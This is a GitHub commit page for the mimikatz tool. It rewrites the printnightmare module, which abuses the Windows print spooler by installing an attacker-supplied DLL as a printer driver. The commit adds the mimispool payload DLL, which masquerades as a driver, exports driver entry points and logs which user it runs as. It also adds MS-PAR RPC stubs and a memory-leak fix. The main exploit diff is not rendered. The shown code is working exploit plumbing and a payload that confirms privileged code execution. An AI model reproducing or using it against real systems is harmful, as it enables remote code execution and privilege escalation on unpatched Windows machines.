Skip to content

Commit

Permalink
[new] mimikatz misc::printnightmare rewrited :) (more love inside)
Browse files Browse the repository at this point in the history
[fix #359] internal busylight module (less memory leak ;)) - thank you @JohnLaTwC
  • Loading branch information
gentilkiwi committed Jul 9, 2021
1 parent baaa261 commit fc7f5cc
Show file tree
Hide file tree
Showing 13 changed files with 387 additions and 419 deletions.
536 changes: 184 additions & 352 deletions mimikatz/modules/kuhl_m_misc.c

Large diffs are not rendered by default.

12 changes: 4 additions & 8 deletions mimikatz/modules/kuhl_m_misc.h
Original file line number Diff line number Diff line change
Expand Up @@ -49,14 +49,10 @@ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]);

BOOL kuhl_m_misc_printnightmare_normalize_library(LPCWSTR szLibrary, LPWSTR *pszNormalizedLibrary, LPWSTR *pszShortLibrary);
void kuhl_m_misc_printnightmare_CallEnumPrintersAndMaybeDelete_par(handle_t hRemoteBinding, LPCWSTR szEnvironment, BOOL bIsDelete);
BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath_par(handle_t hRemoteBinding, LPCWSTR szEnvironment, LPWSTR *szSystem32, LPWSTR *szDriver);
DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx_par(handle_t hRemoteBinding, PDRIVER_INFO_2 pInfo2, LPCWSTR szSystem32, LPCWSTR pConfigFile);
BOOL kuhl_m_misc_printnightmare_CallEnumPrinters_par(handle_t hRemoteBinding, LPCWSTR szEnvironment, _PDRIVER_INFO_2 *ppDriverInfo, DWORD *pcReturned);
void kuhl_m_misc_printnightmare_CallEnumPrintersAndMaybeDelete_rprn(LPCWSTR szEnvironment, BOOL bIsDelete);
BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath_rprn(LPCWSTR szEnvironment, LPWSTR *szSystem32, LPWSTR *szDriver);
DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx_rprn(PDRIVER_INFO_2 pInfo2, LPCWSTR szSystem32, LPCWSTR pConfigFile);
BOOL kuhl_m_misc_printnightmare_CallEnumPrinters_rprn(LPCWSTR szEnvironment, _PDRIVER_INFO_2 *ppDriverInfo, DWORD *pcReturned);
BOOL kuhl_m_misc_printnightmare_FillStructure(PDRIVER_INFO_2 pInfo2, BOOL bIsX64, BOOL bIsDynamic, LPCWSTR szForce, BOOL bIsPar, handle_t hRemoteBinding);
void kuhl_m_misc_printnightmare_ListPrintersAndMaybeDelete(BOOL bIsPar, handle_t hRemoteBinding, LPCWSTR szEnvironment, BOOL bIsDelete);
void kuhl_m_misc_printnightmare_AddPrinterDriver(BOOL bIsPar, handle_t hRemoteBinding, PDRIVER_INFO_2 pInfo2, DWORD dwFlags);
BOOL kuhl_m_misc_printnightmare_EnumPrinters(BOOL bIsPar, handle_t hRemoteBinding, LPCWSTR szEnvironment, _PDRIVER_INFO_2 *ppDriverInfo, DWORD *pcReturned);

BOOL CALLBACK kuhl_m_misc_detours_callback_process(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg);
BOOL CALLBACK kuhl_m_misc_detours_callback_module(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg);
Expand Down
85 changes: 75 additions & 10 deletions mimispool/mimispool.c
Original file line number Diff line number Diff line change
Expand Up @@ -7,22 +7,89 @@

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
BOOL ret;
BOOL ret = TRUE;

switch( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
kspool(TEXT(__FUNCTION__) L"-PROCESS_ATTACH");
ret = FALSE;
// FALSE avoid to keep library in memory
// TRUE will mimic "real" driver/config -- to use/test with /useown on local (remote is not compatible with GetFileVersionInfo*)
break;

if(ul_reason_for_call == DLL_PROCESS_ATTACH)
case DLL_THREAD_ATTACH:
kspool(TEXT(__FUNCTION__) L"-THREAD_ATTACH");
break;

case DLL_THREAD_DETACH:
kspool(TEXT(__FUNCTION__) L"-THREAD_DETACH");
break;

case DLL_PROCESS_DETACH:
kspool(TEXT(__FUNCTION__) L"-PROCESS_DETACH");
break;
}

return ret;
}

BOOL APIENTRY APIENTRY DrvQueryDriverInfo(DWORD dwMode, PVOID pBuffer, DWORD cbBuf, PDWORD pcbNeeded)
{
BOOL status = FALSE;

kspool(TEXT(__FUNCTION__));

if ( dwMode == DRVQUERY_USERMODE)
{
kspool();
ret = FALSE;
*pcbNeeded = sizeof(DWORD);
if (pBuffer && (cbBuf >= sizeof(DWORD)))
{
status = TRUE;
*(DWORD *)pBuffer = TRUE;
}
SetLastError(ERROR_INSUFFICIENT_BUFFER);
}
else
{
ret = TRUE;
SetLastError(ERROR_INVALID_PARAMETER);
}

return ret;
return status;
}

BOOL APIENTRY DrvEnableDriver(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA *pded)
{
BOOL status = FALSE;

kspool(TEXT(__FUNCTION__));

if((iEngineVersion < 0x20000) || (cj < 0x10))
{
SetLastError(ERROR_BAD_DRIVER_LEVEL);
}
else
{
pded->iDriverVersion = 0x20000;
pded->pdrvfn = NULL;
pded->c = 0;
status = TRUE;
}

return status;
}

VOID APIENTRY DrvDisableDriver()
{
kspool(TEXT(__FUNCTION__));
}

VOID APIENTRY DrvResetConfigCache()
{
kspool(TEXT(__FUNCTION__));
}

void kspool()
void kspool(LPCWSTR szFrom)
{
FILE * kspool_logfile;
WCHAR Buffer[256 + 1];
Expand All @@ -33,11 +100,9 @@ void kspool()
if(kspool_logfile = _wfopen(L"mimispool.log", L"a"))
#pragma warning(pop)
{
klog(kspool_logfile, L"Hello!\n");

if(GetUserName(Buffer, &cbBuffer))
{
klog(kspool_logfile, L"I\'m running with \'%s\' (and I like it :)\n", Buffer);
klog(kspool_logfile, L"[" PLATFORM L"] [%s] I\'m running with \'%s\' (and I like it :)\n", szFrom, Buffer);
}

fclose(kspool_logfile);
Expand Down
7 changes: 7 additions & 0 deletions mimispool/mimispool.def
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
LIBRARY
EXPORTS
DrvQueryDriverInfo
DrvEnableDriver
DrvDisableDriver

DrvResetConfigCache
28 changes: 26 additions & 2 deletions mimispool/mimispool.h
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,30 @@
#include <windows.h>
#include <stdio.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved);
void kspool();
#if defined(_M_X64) || defined(_M_ARM64) // to do, for real one day
#define PLATFORM L"x64"
#elif defined(_M_IX86)
#define PLATFORM L"x86"
#endif

typedef LONG_PTR (APIENTRY *PFN)();

typedef struct _DRVFN {
ULONG iFunc;
PFN pfn;
} DRVFN, *PDRVFN;

typedef struct tagDRVENABLEDATA {
ULONG iDriverVersion;
ULONG c;
DRVFN *pdrvfn;
} DRVENABLEDATA, *PDRVENABLEDATA;

#define DRVQUERY_USERMODE 1

BOOL APIENTRY APIENTRY DrvQueryDriverInfo(DWORD dwMode, __out_bcount(cbBuf) PVOID pBuffer, DWORD cbBuf, __out_ecount(1) PDWORD pcbNeeded);
__control_entrypoint(DeviceDriver) BOOL APIENTRY DrvEnableDriver(ULONG iEngineVersion, ULONG cj, __in_bcount(cj) DRVENABLEDATA *pded);
VOID APIENTRY DrvDisableDriver();

void kspool(LPCWSTR szFrom);
void klog(FILE * logfile, PCWCHAR format, ...);
Binary file modified mimispool/mimispool.rc
Binary file not shown.
4 changes: 4 additions & 0 deletions mimispool/mimispool.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -85,6 +85,7 @@
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<LinkTimeCodeGeneration>UseLinkTimeCodeGeneration</LinkTimeCodeGeneration>
<ModuleDefinitionFile>mimispool.def</ModuleDefinitionFile>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
Expand All @@ -97,4 +98,7 @@
<ItemGroup>
<ResourceCompile Include="mimispool.rc" />
</ItemGroup>
<ItemGroup>
<None Include="mimispool.def" />
</ItemGroup>
</Project>
3 changes: 3 additions & 0 deletions mimispool/mimispool.vcxproj.filters
Original file line number Diff line number Diff line change
Expand Up @@ -9,4 +9,7 @@
<ItemGroup>
<ResourceCompile Include="mimispool.rc" />
</ItemGroup>
<ItemGroup>
<None Include="mimispool.def" />
</ItemGroup>
</Project>
10 changes: 9 additions & 1 deletion modules/kull_m_busylight.c
Original file line number Diff line number Diff line change
Expand Up @@ -116,7 +116,11 @@ BOOL kull_m_busylight_devices_get(PBUSYLIGHT_DEVICE *devices, DWORD *count, DWOR
{
PRINT_ERROR_AUTO(L"CreateThread (hKeepAliveThread)");
CloseHandle((*next)->hBusy);
LocalFree(*next);
if ((*next)->DevicePath)
{
free((*next)->DevicePath);
}
*next = (PBUSYLIGHT_DEVICE) LocalFree(*next);
}
}
else
Expand All @@ -128,6 +132,10 @@ BOOL kull_m_busylight_devices_get(PBUSYLIGHT_DEVICE *devices, DWORD *count, DWOR
else
{
PRINT_ERROR_AUTO(L"CreateFile (hBusy)");
if ((*next)->DevicePath)
{
free((*next)->DevicePath);
}
*next = (PBUSYLIGHT_DEVICE) LocalFree(*next);
}
}
Expand Down
1 change: 1 addition & 0 deletions modules/rpc/kull_m_rpc_ms-par.h
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,7 @@ DWORD RpcAsyncOpenPrinter(handle_t hRemoteBinding, wchar_t *pPrinterName, PRINTE
DWORD RpcAsyncClosePrinter(PRINTER_HANDLE *phPrinter);
DWORD RpcAsyncAddPrinterDriver(handle_t hRemoteBinding, wchar_t *pName, DRIVER_CONTAINER *pDriverContainer, DWORD dwFileCopyFlags);
DWORD RpcAsyncEnumPrinterDrivers(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, DWORD Level, unsigned char *pDrivers, DWORD cbBuf, DWORD *pcbNeeded, DWORD *pcReturned);
DWORD RpcAsyncGetPrinterDriverDirectory(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, DWORD Level, unsigned char *pDriverDirectory, DWORD cbBuf, DWORD *pcbNeeded);
DWORD RpcAsyncDeletePrinterDriverEx(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, wchar_t *pDriverName, DWORD dwDeleteFlag, DWORD dwVersionNum);

extern RPC_IF_HANDLE IRemoteWinspool_v1_0_c_ifspec;
33 changes: 23 additions & 10 deletions modules/rpc/kull_m_rpc_ms-par_c.c
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ typedef struct _ms2Dpar_MIDL_TYPE_FORMAT_STRING {

typedef struct _ms2Dpar_MIDL_PROC_FORMAT_STRING {
SHORT Pad;
UCHAR Format[315];
UCHAR Format[387];
} ms2Dpar_MIDL_PROC_FORMAT_STRING;

extern const ms2Dpar_MIDL_TYPE_FORMAT_STRING ms2Dpar__MIDL_TypeFormatString;
Expand All @@ -35,9 +35,13 @@ DWORD RpcAsyncEnumPrinterDrivers(handle_t hRemoteBinding, wchar_t *pName, wchar_
{
return (DWORD) NdrClientCall2((PMIDL_STUB_DESC) &IRemoteWinspool_StubDesc, (PFORMAT_STRING) &ms2Dpar__MIDL_ProcFormatString.Format[170], hRemoteBinding, pName, pEnvironment, Level, pDrivers, cbBuf, pcbNeeded, pcReturned).Simple;
}
DWORD RpcAsyncGetPrinterDriverDirectory(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, DWORD Level, unsigned char *pDriverDirectory, DWORD cbBuf, DWORD *pcbNeeded)
{
return (DWORD) NdrClientCall2((PMIDL_STUB_DESC) &IRemoteWinspool_StubDesc, (PFORMAT_STRING) &ms2Dpar__MIDL_ProcFormatString.Format[248], hRemoteBinding, pName, pEnvironment, Level, pDriverDirectory, cbBuf, pcbNeeded).Simple;
}
DWORD RpcAsyncDeletePrinterDriverEx(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, wchar_t *pDriverName, DWORD dwDeleteFlag, DWORD dwVersionNum)
{
return (DWORD) NdrClientCall2((PMIDL_STUB_DESC) &IRemoteWinspool_StubDesc, (PFORMAT_STRING) &ms2Dpar__MIDL_ProcFormatString.Format[248], hRemoteBinding, pName, pEnvironment, pDriverName, dwDeleteFlag, dwVersionNum).Simple;
return (DWORD) NdrClientCall2((PMIDL_STUB_DESC) &IRemoteWinspool_StubDesc, (PFORMAT_STRING) &ms2Dpar__MIDL_ProcFormatString.Format[320], hRemoteBinding, pName, pEnvironment, pDriverName, dwDeleteFlag, dwVersionNum).Simple;
}
static const ms2Dpar_MIDL_PROC_FORMAT_STRING ms2Dpar__MIDL_ProcFormatString = {0, {
0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x40, 0x00, 0x46, 0x07, 0x0a, 0x05, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00,
Expand All @@ -47,9 +51,12 @@ static const ms2Dpar_MIDL_PROC_FORMAT_STRING ms2Dpar__MIDL_ProcFormatString = {0
0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x04, 0x0a, 0x05, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x02, 0x00, 0x0b, 0x01, 0x10, 0x00, 0xc6, 0x02, 0x48, 0x00,
0x18, 0x00, 0x08, 0x00, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x48, 0x00, 0x32, 0x00, 0x00, 0x00, 0x10, 0x00, 0x40, 0x00, 0x47, 0x08, 0x0a, 0x07,
0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x02, 0x00, 0x0b, 0x00, 0x10, 0x00, 0x02, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x1b, 0x00, 0x20, 0x00, 0xd6, 0x02,
0x48, 0x00, 0x28, 0x00, 0x08, 0x00, 0x50, 0x21, 0x30, 0x00, 0x08, 0x00, 0x50, 0x21, 0x38, 0x00, 0x08, 0x00, 0x70, 0x00, 0x40, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x2b, 0x00,
0x38, 0x00, 0x32, 0x00, 0x00, 0x00, 0x10, 0x00, 0x08, 0x00, 0x46, 0x06, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x02, 0x00, 0x0b, 0x01, 0x10, 0x00,
0xec, 0x02, 0x0b, 0x01, 0x18, 0x00, 0xec, 0x02, 0x48, 0x00, 0x20, 0x00, 0x08, 0x00, 0x48, 0x00, 0x28, 0x00, 0x08, 0x00, 0x70, 0x00, 0x30, 0x00, 0x08, 0x00, 0x00,
0x48, 0x00, 0x28, 0x00, 0x08, 0x00, 0x50, 0x21, 0x30, 0x00, 0x08, 0x00, 0x50, 0x21, 0x38, 0x00, 0x08, 0x00, 0x70, 0x00, 0x40, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x29, 0x00,
0x40, 0x00, 0x32, 0x00, 0x00, 0x00, 0x10, 0x00, 0x24, 0x00, 0x47, 0x07, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x02, 0x00, 0x0b, 0x00, 0x10, 0x00,
0x02, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x1b, 0x00, 0x20, 0x00, 0xd6, 0x02, 0x48, 0x00, 0x28, 0x00, 0x08, 0x00, 0x50, 0x21, 0x30, 0x00, 0x08, 0x00, 0x70, 0x00, 0x38, 0x00, 0x08, 0x00,
0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x2b, 0x00, 0x38, 0x00, 0x32, 0x00, 0x00, 0x00, 0x10, 0x00, 0x08, 0x00, 0x46, 0x06, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00,
0x08, 0x00, 0x02, 0x00, 0x0b, 0x01, 0x10, 0x00, 0xec, 0x02, 0x0b, 0x01, 0x18, 0x00, 0xec, 0x02, 0x48, 0x00, 0x20, 0x00, 0x08, 0x00, 0x48, 0x00, 0x28, 0x00, 0x08, 0x00, 0x70, 0x00, 0x30, 0x00,
0x08, 0x00, 0x00,
}};
static const ms2Dpar_MIDL_TYPE_FORMAT_STRING ms2Dpar__MIDL_TypeFormatString = {0, {
0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, 0x11, 0x00, 0x0e, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x1a, 0x03,
Expand Down Expand Up @@ -85,7 +92,7 @@ typedef struct _ms2Dpar_MIDL_TYPE_FORMAT_STRING {

typedef struct _ms2Dpar_MIDL_PROC_FORMAT_STRING {
SHORT Pad;
UCHAR Format[305];
UCHAR Format[375];
} ms2Dpar_MIDL_PROC_FORMAT_STRING;

extern const ms2Dpar_MIDL_TYPE_FORMAT_STRING ms2Dpar__MIDL_TypeFormatString;
Expand All @@ -110,9 +117,13 @@ DWORD RpcAsyncEnumPrinterDrivers(handle_t hRemoteBinding, wchar_t *pName, wchar_
{
return (DWORD) NdrClientCall2((PMIDL_STUB_DESC) &IRemoteWinspool_StubDesc, (PFORMAT_STRING) &ms2Dpar__MIDL_ProcFormatString.Format[164], (unsigned char *) &hRemoteBinding).Simple;
}
DWORD RpcAsyncGetPrinterDriverDirectory(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, DWORD Level, unsigned char *pDriverDirectory, DWORD cbBuf, DWORD *pcbNeeded)
{
return (DWORD) NdrClientCall2((PMIDL_STUB_DESC) &IRemoteWinspool_StubDesc, (PFORMAT_STRING) &ms2Dpar__MIDL_ProcFormatString.Format[240], ( unsigned char *) &hRemoteBinding).Simple;
}
DWORD RpcAsyncDeletePrinterDriverEx(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, wchar_t *pDriverName, DWORD dwDeleteFlag, DWORD dwVersionNum)
{
return (DWORD) NdrClientCall2((PMIDL_STUB_DESC) &IRemoteWinspool_StubDesc, (PFORMAT_STRING) &ms2Dpar__MIDL_ProcFormatString.Format[240], (unsigned char *) &hRemoteBinding).Simple;
return (DWORD) NdrClientCall2((PMIDL_STUB_DESC) &IRemoteWinspool_StubDesc, (PFORMAT_STRING) &ms2Dpar__MIDL_ProcFormatString.Format[310], (unsigned char *) &hRemoteBinding).Simple;
}
#pragma optimize("", on)
static const ms2Dpar_MIDL_PROC_FORMAT_STRING ms2Dpar__MIDL_ProcFormatString = {0, {
Expand All @@ -123,9 +134,11 @@ static const ms2Dpar_MIDL_PROC_FORMAT_STRING ms2Dpar__MIDL_ProcFormatString = {0
0x08, 0x00, 0x46, 0x04, 0x08, 0x05, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x04, 0x00, 0x02, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x1c, 0x04, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x70, 0x00,
0x10, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x24, 0x00, 0x32, 0x00, 0x00, 0x00, 0x10, 0x00, 0x40, 0x00, 0x47, 0x08, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,
0x0b, 0x00, 0x04, 0x00, 0x02, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x02, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x1b, 0x00, 0x10, 0x00, 0x2a, 0x04, 0x48, 0x00, 0x14, 0x00, 0x08, 0x00, 0x50, 0x21,
0x18, 0x00, 0x08, 0x00, 0x50, 0x21, 0x1c, 0x00, 0x08, 0x00, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x2b, 0x00, 0x1c, 0x00, 0x32, 0x00, 0x00, 0x00, 0x10, 0x00,
0x08, 0x00, 0x46, 0x06, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x04, 0x00, 0x02, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x40, 0x04, 0x0b, 0x01, 0x0c, 0x00, 0x40, 0x04, 0x48, 0x00,
0x10, 0x00, 0x08, 0x00, 0x48, 0x00, 0x14, 0x00, 0x08, 0x00, 0x70, 0x00, 0x18, 0x00, 0x08, 0x00, 0x00,
0x18, 0x00, 0x08, 0x00, 0x50, 0x21, 0x1c, 0x00, 0x08, 0x00, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x10, 0x00,
0x24, 0x00, 0x47, 0x07, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x04, 0x00, 0x02, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x02, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x1b, 0x00,
0x10, 0x00, 0x2a, 0x04, 0x48, 0x00, 0x14, 0x00, 0x08, 0x00, 0x50, 0x21, 0x18, 0x00, 0x08, 0x00, 0x70, 0x00, 0x1c, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x2b, 0x00, 0x1c, 0x00,
0x32, 0x00, 0x00, 0x00, 0x10, 0x00, 0x08, 0x00, 0x46, 0x06, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x04, 0x00, 0x02, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x40, 0x04, 0x0b, 0x01,
0x0c, 0x00, 0x40, 0x04, 0x48, 0x00, 0x10, 0x00, 0x08, 0x00, 0x48, 0x00, 0x14, 0x00, 0x08, 0x00, 0x70, 0x00, 0x18, 0x00, 0x08, 0x00, 0x00,
}};
static const ms2Dpar_MIDL_TYPE_FORMAT_STRING ms2Dpar__MIDL_TypeFormatString = {0, {
0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, 0x11, 0x00, 0x0e, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x16, 0x03,
Expand Down
Loading

0 comments on commit fc7f5cc

Please sign in to comment.